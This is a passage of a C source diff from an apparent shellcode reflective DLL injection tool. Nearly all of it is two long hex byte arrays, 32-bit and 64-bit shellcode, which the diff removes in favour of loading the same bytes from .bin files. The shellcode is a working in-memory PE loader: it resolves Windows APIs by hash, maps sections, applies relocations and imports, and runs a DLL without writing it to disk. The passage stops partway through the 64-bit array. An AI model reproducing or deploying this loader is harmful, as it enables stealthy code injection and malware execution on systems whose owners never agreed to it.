LPSTR rdiShellcode64 = NULL, rdiShellcode32 = NULL; + DWORD rdiShellcode64Length = 0, rdiShellcode32Length = 0; + GetFileContents("../bin/ShellcodeRDI_x64.bin", &rdiShellcode64, rdiShellcode64Length); + GetFileContents("../bin/ShellcodeRDI_x86.bin", &rdiShellcode32, rdiShellcode32Length); #else - //MARKER:S + //MARKER:S const char* rdiShellcode32 = "\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB4\x00\x00\x00\x89\x6C\x24\x38\x89\xAC\x24\xBC\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xB0\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x49\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x3D\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x38\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x10\x89\x44\x24\x14\x8D\x44\x24\x38\x50\x55\x8D\x44\x24\x18\x66\x89\x7C\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x44\x24\x5C\x89\x44\x24\x14\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x14\x8D\x84\x24\xBC\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x74\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x44\x24\x3C\x89\x44\x24\x14\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x74\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x7C\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x38\x0F\x84\xD2\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xC5\x06\x00\x00\x39\xAC\x24\xB0\x00\x00\x00\x0F\x84\xB8\x06\x00\x00\x39\xAC\x24\xBC\x00\x00\x00\x0F\x84\xAB\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\x9C\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\x84\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\x75\x06\x00\x00\x8B\x46\x38\xA8\x01\x0F\x85\x6A\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x28\x03\xCE\x83\x79\x04\x00\x8B\x39\x74\x03\x8B\x41\x04\x03\xC7\x3B\xC3\x0F\x46\xC3\x83\xC1\x28\x8B\xD8\x8B\x46\x38\x83\xEA\x01\x75\xE1\x8B\xBC\x24\x28\x01\x00\x00\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x04\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x48\x8B\xD8\x89\x5C\x24\x30\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x48\x8B\xD8\x89\x44\x24\x30\xF6\x84\x24\x3C\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x18\x33\xC0\x89\x6C\x24\x24\x0F\xB7\x75\x14\x83\xC6\x28\x66\x3B\x45\x06\x73\x3E\x03\xF5\x83\x64\x24\x20\x00\x83\x3E\x00\x76\x22\x8B\x6C\x24\x20\x8B\x46\x04\x8D\x14\x2B\x8B\x4E\xFC\x03\xC5\x45\x8A\x04\x38\x88\x04\x0A\x3B\x2E\x72\xEA\x8B\x6C\x24\x24\x8B\x4C\x24\x18\x0F\xB7\x45\x06\x41\x83\xC6\x28\x89\x4C\x24\x18\x3B\xC8\x72\xC4\x8B\xC3\x2B\x45\x34\x89\x44\x24\x20\x0F\x84\xB8\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\x9A\x00\x00\x00\x8B\xE8\x8D\x7E\x08\xEB\x74\x0F\xB7\x0F\x66\x8B\xC1\x0F\xB7\xD1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x20\x8B\x16\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x20\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x20\x03\xCD\x89\x0C\x10\xEB\x3C\x66\x83\xF8\x03\x75\x0F\x8B\x06\x81\xE2\xFF\x0F\x00\x00\x03\xD3\x01\x2C\x02\xEB\x27\x33\xC9\x41\x66\x3B\xC1\x75\x07\x8B\xC5\xC1\xE8\x10\xEB\x0B\x6A\x02\x59\x66\x3B\xC1\x75\x10\x0F\xB7\xC5\x8B\x0E\x81\xE2\xFF\x0F\x00\x00\x03\xD3\x01\x04\x0A\x6A\x02\x58\x03\xF8\x8B\x46\x04\x03\xC6\x3B\xF8\x75\x83\x83\x3F\x00\x8B\xF7\x0F\x85\x73\xFF\xFF\xFF\x8B\x6C\x24\x24\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xEF\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x84\x24\xAC\x00\x00\x00\x8D\x0C\x1E\x89\x4C\x24\x20\x83\xC1\x0C\x39\x01\x74\x10\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x84\x24\xAC\x00\x00\x00\xF6\x84\x24\x3C\x01\x00\x00\x04\x8B\xD6\x0F\x84\xCF\x00\x00\x00\x33\xC9\x41\x3B\xC1\x0F\x86\xC4\x00\x00\x00\x8B\x8C\x24\x3C\x01\x00\x00\x8D\x50\xFF\x83\xA4\x24\xC0\x00\x00\x00\x00\x89\x54\x24\x28\x8B\xD6\xC1\xE9\x10\x8D\x70\xFF\x89\x4C\x24\x18\x85\xF6\x0F\x84\xA2\x00\x00\x00\x8B\x74\x24\x20\x8B\xDE\x8B\xAC\x24\xC0\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x84\x24\xAC\x00\x00\x00\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x20\x3B\x6C\x24\x28\x72\x87\x8B\x6C\x24\x24\x8B\x5C\x24\x30\x8B\x4C\x24\x18\x8B\x95\x80\x00\x00\x00\xEB\x08\x8B\x4C\x24\x28\x89\x4C\x24\x18\x8D\x3C\x1A\x8B\x57\x0C\x89\x7C\x24\x30\x85\xD2\x0F\x84\xC9\x00\x00\x00\x8B\xC1\x23\x84\x24\x3C\x01\x00\x00\x83\xE0\x04\x89\x84\x24\xC0\x00\x00\x00\x8D\x04\x1A\x50\xFF\x94\x24\xB8\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x5A\x8B\x7C\x24\x34\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x30\x83\xC1\x02\x33\xC0\x03\xCB\x89\x4C\x24\x28\x38\x01\x74\x0B\x40\x41\x80\x39\x00\x75\xF9\x8B\x4C\x24\x28\x55\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x14\x6A\x00\x89\x4C\x24\x1C\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xAE\x8B\x7C\x24\x30\x83\xBC\x24\xC0\x00\x00\x00\x00\x74\x1C\x33\xC0\x40\x39\x84\x24\xAC\x00\x00\x00\x76\x10\x69\x44\x24\x18\xE8\x03\x00\x00\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\x57\x20\x83\xC7\x14\x89\x7C\x24\x30\x85\xD2\x0F\x85\x4E\xFF\xFF\xFF\x8B\x6C\x24\x24\x83\xBD\xE4\x00\x00\x00\x00\x6A\x20\x5A\x0F\x84\xAF\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x18\x8B\x00\x85\xC0\x0F\x84\x96\x00\x00\x00\x8B\x6C\x24\x18\x03\xC3\x50\xFF\x94\x24\xB8\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x34\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x28\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x28\x56\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x14\x6A\x00\x89\x54\x24\x1C\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x18\x6A\x20\x5A\x03\xEA\x89\x6C\x24\x18\x8B\x45\x00\x85\xC0\x0F\x85\x72\xFF\xFF\xFF\x8B\x6C\x24\x24\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\x81\x00\x00\x00\x03\xF5\x83\x3E\x00\x74\x6B\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x40\xF7\xC1\x00\x00\x00\x20\x75\x18\x85\xC0\x75\x0D\x6A\x08\x58\x6A\x01\x85\xC9\x59\x0F\x49\xC1\xEB\x1D\x6A\x04\x58\x6A\x02\xEB\xF1\x85\xC0\x75\x0A\x6A\x10\xB8\x80\x00\x00\x00\x5A\xEB\x03\x6A\x40\x58\x85\xC9\x0F\x49\xC2\x89\x44\x24\x2C\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x2C\x8D\x4C\x24\x2C\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC8\x00\x00\x00\x0F\xB7\x45\x06\x47\x83\xC6\x28\x6A\x20\x5A\x3B\xF8\x72\x81\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC8\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x24\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xC3\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xB9\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\xA9\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x9F\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x34\x00\x03\xCB\x85\xED\x0F\x84\x88\x00\x00\x00\x8B\x37\x6A\x00\x58\x89\x44\x24\x18\x03\xF3\x74\x7B\x8A\x06\x84\xC0\x74\x2B\x8B\x6C\x24\x18\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x18\x8B\x44\x24\x18\x8B\x6A\x18\x39\x84\x24\x2C\x01\x00\x00\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x34\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x34\x3B\xC5\x72\xAF\xEB\x35\x0F\xB7\x09\x8B\x42\x1C\x8D\x04\x88\x8B\x04\x18\x03\xC3\xF6\x84\x24\x3C\x01\x00\x00\x08\x74\x0B\x6A\x04\xFF\xB4\x24\x3C\x01\x00\x00\xEB\x0E\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"; - const char* rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD0\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x44\x8B\xEA\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xE8\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x24\xC7\x45\xD4\x72\x00\x6E\x00\xC7\x45\xD8\x65\x00\x6C\x00\xC7\x45\xDC\x33\x00\x32\x00\xC7\x45\xE0\x2E\x00\x64\x00\xC7\x45\xE4\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x64\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x57\x08\x00\x00\x4C\x8B\xE0\x48\x89\x45\xF0\x48\x8D\x45\xD0\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xC8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x00\xC7\x44\x24\x20\x0E\x00\x0E\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\xC7\x44\x24\x20\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x48\x8D\x45\xA8\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x08\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x10\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xE8\xC7\x44\x24\x20\x05\x00\x05\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x18\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xF8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x4C\x39\x7D\xC8\x0F\x84\x03\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\xF9\x06\x00\x00\x4C\x39\x7D\xE8\x0F\x84\xEF\x06\x00\x00\x4C\x39\x7D\x08\x0F\x84\xE5\x06\x00\x00\x4C\x8B\x4D\x10\x4D\x85\xC9\x0F\x84\xD8\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xC5\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xB6\x06\x00\x00\x44\x8B\x47\x38\x45\x8D\x5F\x01\x45\x84\xC3\x0F\x85\xA5\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x29\x44\x0F\xB7\x57\x06\x48\x03\xCF\x8B\x41\x04\x8B\x11\x85\xC0\x75\x06\x41\x8D\x04\x10\xEB\x02\x03\xC2\x3B\xC3\x0F\x46\xC3\x48\x83\xC1\x28\x8B\xD8\x4D\x2B\xD3\x75\xDF\x48\x8D\x4D\x38\x41\xFF\xD1\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x32\x06\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x41\xBB\x01\x00\x00\x00\x44\x84\x9D\xD8\x00\x00\x00\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x9B\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x8B\x85\xD8\x00\x00\x00\x45\x8B\xE7\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x8E\x00\x00\x00\x45\x3B\xEB\x0F\x86\x85\x00\x00\x00\x44\x8B\xA5\xD8\x00\x00\x00\x45\x8D\x5